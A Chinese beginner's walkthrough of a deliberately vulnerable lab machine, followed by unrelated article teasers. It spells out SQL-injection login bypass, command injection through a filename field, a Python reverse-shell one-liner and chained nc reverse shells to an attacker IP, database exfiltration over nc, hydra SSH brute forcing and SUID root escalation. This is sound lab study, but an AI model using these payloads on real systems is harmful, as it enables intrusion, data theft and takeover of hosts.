当前位置: 首页 > news >正文

【打靶】vulhub打靶系列(一)—小白视野的渗透测试

主机探测

arpscan

arp-scan -l

另一种方法arping

for i in $(seq 1 200); do sudo arping -c 1 192.168.56.$i; done

注意这个必须是root权限

端口探测

nmap

nmap -p- -sV -T4 192.168.56.104

发现8080端口

web测试

访问下web页面

1、通过逻辑点绕过

发送到xia_sql发现可能存在sql注入

导入sql的fuzz字典跑包

发现返回包有异常,观察这些长度异常的payload,可以判断出是双引号自动闭合

那就直接” or 1 = 1 -- q绕过

2、爆破绕过

爆破许可证(相当于就是密码么):password

进一步测试

登入到这个页面之后进行观察:

发现是输入文件名进行扫描,相当于文件名起到一个选择扫描方式的作用,拼接管道符看能否是在bash或者temtrol上执行的

执行 ​​hello | ls​

页面回显,尝试监听进而更方便的执行指令

尝试监听

1、通过自带的python反弹shell

攻击机启动监听,反弹shell时候可以用网上烂大街的python反弹shell(因为前期通过nmap扫描发现有python2的环境)

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.128",5555));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

2、通过nc反弹shell【看运气,看人服务器上有无nc】

攻击机启动4444端口的监听

nc -nvlp 4444

web页面输入

hello|nc 192.168.56.102 4444 -e /bin/sh# hello 使页面正常运行
# 192.168.56.102 攻击机的ip
# -e /bin/bsh  反弹回服务器的shell
# 注意最后一段,我们不是单纯的为了监听,而是为了让他反弹shell过来

但实际执行之后发现4444未能接受到任何信息,说明很有可能是nc版本不同导致的-e参数无效,有这个猜想之后可以直接去掉-e看看监听是否有问题

hello|nc 192.168.56.102 4444

发现监听没问题,说明我们的猜想是对的

接下来通过串联nc的方式来代替-e参数反弹shell的问题

输入

hello |nc 192.168.56.102 4444 |/bin/bash |nc 192.168.56.102 3333# hello 确保web页面正常执行
# nc 192.168.56.102 4444监听攻击机的4444端口【建立连接】
# /bin/bash  将所有的指令传递给/bin/bash解析(管道符实现的)【传递指令并执行】
# nc 192.168.56.102 3333监听攻击机的3333端口【返回指令执行的结果】
# 【确保运行】|【建立连接】|【接受指令并解析】|【返回结果】

因此攻击机需要开启两个监听,4444用于建立连接,3333用于查看执行结果

成功监听

发现是scanner,权限不够,接下来的所有操作都是为了提权到root权限

主机信息收集

执行ls -l获取更多的信息,查看哪些是可以利用的文件或工具

看见root权限下有执行权限的两个文件

其实可以逐个看下

app.py

看下数据库文件

发现是sqlite3 的数据库文件(本地的数据库文件),看看有没有sqlite环境从而查看下数据库文件内的机密信息

转存数据库文件

在靶机开启nc将database的内容传给攻击机的5555端口

nc -nvlp 192.168.56.102 5555 # 连接攻击机的5555端口监听,并将database.sql的内容传递给攻击机的5555端口

在kali开启5555端口监听,将监听到的内容传递给db.sql中

nc 5555 > db1.sql
# 将nc的5555监听到的内容全部传给db.sql中

这里需要注意一个点,过一小会主动断掉连接,因为文件小,已经传完了,但没有回显所以你不知道

查看数据库

# sqlite3   --进入sqlite
> .open db1.sql  --打开db1文件
> .database     -- 进入数据库
> .dump        --dump下来

有了数据库密码,结合下用户

ssh爆破

监听上使用cat /etc/passwd|grep /bin/bash 获取到账号,结合这个数据库的密码尝试下ssh爆破(利用九头蛇)

hydra -l user -P password.txt ssh://192.168.56.104

执行后发现全部失败,爆破失败

进一步信息收集

向上跳一级查看其他文件

找见一个s权限文件,尝试通过这个文件间接执行root权限下的指令

SUID提权

cat update_cloudav.c

通过分析代码可以设想,当我们执行update_cloudav时必须跟上一个参数,尝试下a参数,命令行输入

./update_cloudav a

日志报错,但不清楚这个日志报错会对程序或者提权有怎样的作用,会不会影响后续提权等

所以正常尝试就好

依旧采用nc串联的方式尝试利用root权限

输入

./update_cloudav "a|nc 192.168.56.102 555|/bin/bash|nc 192.168.56.102 666"

并在攻击机开启监听(555和666端口的监听,指令依旧是nc -nvlp [端口号])

成功提权至root权限​

小bug:刚开始是监听向5555和6666但6666的监听不到,5555也是三次的两次监听不到,所以这种情况下换下端口就行!

相关文章:

【打靶】vulhub打靶系列(一)—小白视野的渗透测试

主机探测 arpscan arp-scan -l 另一种方法arping for i in $(seq 1 200); do sudo arping -c 1 192.168.56.$i; done 注意这个必须是root权限 ​ 端口探测 nmap nmap -p- -sV -T4 192.168.56.104 发现8080端口 web测试 访问下web页面 1、通过逻辑点绕过 发送到xia_sq…...

kafka3.X集群安装(不使用zookeeper)

参考: 【kafka专栏】不用zookeeper怎么安装kafka集群-最新kafka3.0版本 一、kafka集群实例角色规划 在本专栏的之前的一篇文章《kafka3种zk的替代方案》已经为大家介绍过在kafka3.0种已经可以将zookeeper去掉。 上图中黑色代表broker(消息代理服务)&…...

2023 年 的 DBA 有哪些变化?

作者:Craig S. Mullins 数据库专家,IBM 优化冠军,DB2 金牌顾问以及 IDUG 名人堂成员,数据库类畅销书作者,著有《DB2 Developers Guide》、《Database Administration: The Complete Guide to DBA Practices & Pro…...

vs2022 使用git同步报错以及解决每次推送要输入密码问题

1.使用 git GUI工具,例如:TortoiseGit ,把全局配置文件这样设置一下 设置全局.config ,这样即可。 [credential] helper store 2.如果推送代码或拉取代码一直失败,在当前的仓库下面,使用以下命令来重置一下密码 git …...

有哪些适用于 Windows 的PDF 阅读器?免费 PDF 阅读器清单

探索适用于 Windows 10 和 11 的最佳 PDF 阅读器 适用于 Windows 10 和 Windows 11 的最佳 PDF 阅读器让您可以在台式计算机上查看和共享文档。 最好的PDF 编辑器和免费的 PDF 编辑器配备了先进的工具,可以跨不同的操作系统工作。但是,当您只需要查看和…...

避雷!新增2本期刊被标记为「On Hold」,1区TOP刊仍在调查中!

近期小编在Master Journal List上查询期刊时偶然发现,又有2本期刊被科睿唯安标记为「On Hold」! 这2本期刊分别为MIGRATION LETTERS和REVISTA DE GESTAO E SECRETARIADO-GESEC. 此外还有6本期刊被标记为「On Hold」,目前共计8本期刊被「On …...

iOS 配置通用链接(Universal Link)服务端和开发者后台都配置好了,还是跳转不到App

目录 一、什么是 Universal Link? 1.背景介绍 2.特点 3.运行机制原理&流程图 二、配置教程 1.第一步:开启 Associated Domains 服务 1.1 开通 Associated Domains 2.第二步:服务器配置 apple-app-site-association(AAS…...

【环境】Linux下Anaconda/ Miniconda安装+百度Paddle环境搭建+Cudnn(3090显卡+CUDA11.8+cudnn8.6.0)

清华源帮助链接:https://mirror.tuna.tsinghua.edu.cn/help/anaconda/ 下载链接:https://mirrors.tuna.tsinghua.edu.cn/anaconda/miniconda/ 其他深度学习环境相关博文:【stable-diffusion】4090显卡下dreambooth、lora、sd模型微调的GUI环境…...

【Python机器学习】零基础掌握AdaBoostRegressor集成学习

有没有经历过这样的状况:需要预测未来房价走势,但传统的预测方法并不总是准确? 房价预测一直是人们关注的热点话题,无论是房产商、购房者,还是政府,都需要准确地知道未来房价的走势。那么,有没有一种更加精准、稳定的预测方法呢?答案是有的——AdaBoost Regressor算法…...

各种添加路由的方法

Linux 篇: ipv4: #添加到主机的路由 # route add –host 192.168.168.110 dev eth0 # route add –host 192.168.168.119 gw 192.168.168.1 #添加到网络的路由 # route add –net IP netmask MASK eth0 # route add –net IP netmask MASK gw IP # route add –n…...

MySQL外键

目录 一.外键 1.表与表之间建立关系 2.什么是外键 3.一对多关系 4.多对多关系 (1)建表会遇到的问题 (2)解决循环建表的问题 5.一对一关系、 6.小结 二.多表查询 1.数据准备 2.多表查询案例 (1)…...

自制数据库迁移工具-C版-02-HappySunshineV1.1-(支持Gbase8a)

目录 一、环境信息 二、简述 三、升级点 四、支持功能 五、安装包下载地址 六、配置参数介绍 七、安装步骤 1、配置环境变量 2、生效环境变量 3、检验动态链接是否正常 4、修改配置文件MigrationConfig.txt 八、运行效果 一、环境信息 名称值CPUIntel(R) Core(TM) i…...

k8s创建pod-affinity亲和性时报错解决办法

1.如下报错 Error from server (BadRequest): error when creating “pod-required-affinity-demo-2.yaml”: Pod in version “v1” cannot be handled as a Pod: json: cannot unmarshal string into Go struct field LabelSelectorRequirement.spec.affinity.podAffinity.re…...

基于边缘智能网关的储能系统安全监测管理方案

“储能系统充电”是配套新能源汽车产业发展的重要应用之一。得益于电池技术的发展,新能源汽车正逐步迈入快充时代,由于在使用快速充电桩时,可能导致用电峰值负荷超过电网的承载能力,对于电网的稳定性和持续性会有较大影响&#xf…...

大数据Flink(一百零一):SQL 表值函数(Table Function)

文章目录 SQL 表值函数(Table Function) SQL 表值函数(Table Function) Python UDTF,即 Python TableFunction,针对每一条输入数据,Python UDTF 可以产生 0 条、1 条或者多条输出数据,此外,一条输出数据可以包含多个列。比如以下示例,定义了一个名字为 split 的Pyt…...

内核进程初始化和创建

task_struct 1.进程的状态 分时技术进行多进程调度 重点:进程的创建是如何的? linux在初始化的过程中那个会进行0号进程的创建,fork sched_init(); 做了什么 内核态 不可抢占 用户态 可以抢占 move_to_user_mode(); 把内核状态切换到…...

【进程概念④】:进程地址空间(虚拟内存与物理内存)

【进程概念④】:进程地址空间(虚拟内存与物理内存) 一.进程地址空间二.分页与虚拟地址①.what②.how③.why 三.页表细节①.标志位②.缺页中断 四.总结意义 一.进程地址空间 你觉得我们代码中写的数据都在哪存储着呢? 在内存里存着&#xff0…...

C语言内存四分区

四个区域:代码区,全局区,栈区,堆区 ①代码区 存放所写代码,二进制内容 ②全局区(又分data区和bss区) 存放全局变量,静态变量,常量 data区:已经初始化的全局变…...

数据可视化报表分享:区域管理驾驶舱

在零售数据分析中,区域管理驾驶舱报表是用来分析企业运营数据,以制定销售策略和提高利润。因此这张报表需要整合大量数据,数据整合、分析、指标计算的工作量极大,在讲究高效率、高度及时性的大数据时代,BI数据可视化分…...

解决pip安装包后但是Pycharm检测不到

首先要知道python找包的原理:原理 之后把一下代码打印一下: import sys print(sys.executable)# /usr/bin/python2 print(sys.path)# [/usr/lib/python2.7, /usr/lib/python2.7/dist-packages, /usr/local/lib/python2.7/dist-packages] print(sys.prefi…...

微软PowerBI考试 PL300-选择 Power BI 模型框架【附练习数据】

微软PowerBI考试 PL300-选择 Power BI 模型框架 20 多年来,Microsoft 持续对企业商业智能 (BI) 进行大量投资。 Azure Analysis Services (AAS) 和 SQL Server Analysis Services (SSAS) 基于无数企业使用的成熟的 BI 数据建模技术。 同样的技术也是 Power BI 数据…...

Qt Widget类解析与代码注释

#include "widget.h" #include "ui_widget.h"Widget::Widget(QWidget *parent): QWidget(parent), ui(new Ui::Widget) {ui->setupUi(this); }Widget::~Widget() {delete ui; }//解释这串代码,写上注释 当然可以!这段代码是 Qt …...

JVM垃圾回收机制全解析

Java虚拟机(JVM)中的垃圾收集器(Garbage Collector,简称GC)是用于自动管理内存的机制。它负责识别和清除不再被程序使用的对象,从而释放内存空间,避免内存泄漏和内存溢出等问题。垃圾收集器在Ja…...

MVC 数据库

MVC 数据库 引言 在软件开发领域,Model-View-Controller(MVC)是一种流行的软件架构模式,它将应用程序分为三个核心组件:模型(Model)、视图(View)和控制器(Controller)。这种模式有助于提高代码的可维护性和可扩展性。本文将深入探讨MVC架构与数据库之间的关系,以…...

Cloudflare 从 Nginx 到 Pingora:性能、效率与安全的全面升级

在互联网的快速发展中,高性能、高效率和高安全性的网络服务成为了各大互联网基础设施提供商的核心追求。Cloudflare 作为全球领先的互联网安全和基础设施公司,近期做出了一个重大技术决策:弃用长期使用的 Nginx,转而采用其内部开发…...

成都鼎讯硬核科技!雷达目标与干扰模拟器,以卓越性能制胜电磁频谱战

在现代战争中,电磁频谱已成为继陆、海、空、天之后的 “第五维战场”,雷达作为电磁频谱领域的关键装备,其干扰与抗干扰能力的较量,直接影响着战争的胜负走向。由成都鼎讯科技匠心打造的雷达目标与干扰模拟器,凭借数字射…...

SAP学习笔记 - 开发26 - 前端Fiori开发 OData V2 和 V4 的差异 (Deepseek整理)

上一章用到了V2 的概念,其实 Fiori当中还有 V4,咱们这一章来总结一下 V2 和 V4。 SAP学习笔记 - 开发25 - 前端Fiori开发 Remote OData Service(使用远端Odata服务),代理中间件(ui5-middleware-simpleproxy)-CSDN博客…...

NXP S32K146 T-Box 携手 SD NAND(贴片式TF卡):驱动汽车智能革新的黄金组合

在汽车智能化的汹涌浪潮中,车辆不再仅仅是传统的交通工具,而是逐步演变为高度智能的移动终端。这一转变的核心支撑,来自于车内关键技术的深度融合与协同创新。车载远程信息处理盒(T-Box)方案:NXP S32K146 与…...

排序算法总结(C++)

目录 一、稳定性二、排序算法选择、冒泡、插入排序归并排序随机快速排序堆排序基数排序计数排序 三、总结 一、稳定性 排序算法的稳定性是指:同样大小的样本 **(同样大小的数据)**在排序之后不会改变原始的相对次序。 稳定性对基础类型对象…...

Java求职者面试指南:计算机基础与源码原理深度解析

Java求职者面试指南:计算机基础与源码原理深度解析 第一轮提问:基础概念问题 1. 请解释什么是进程和线程的区别? 面试官:进程是程序的一次执行过程,是系统进行资源分配和调度的基本单位;而线程是进程中的…...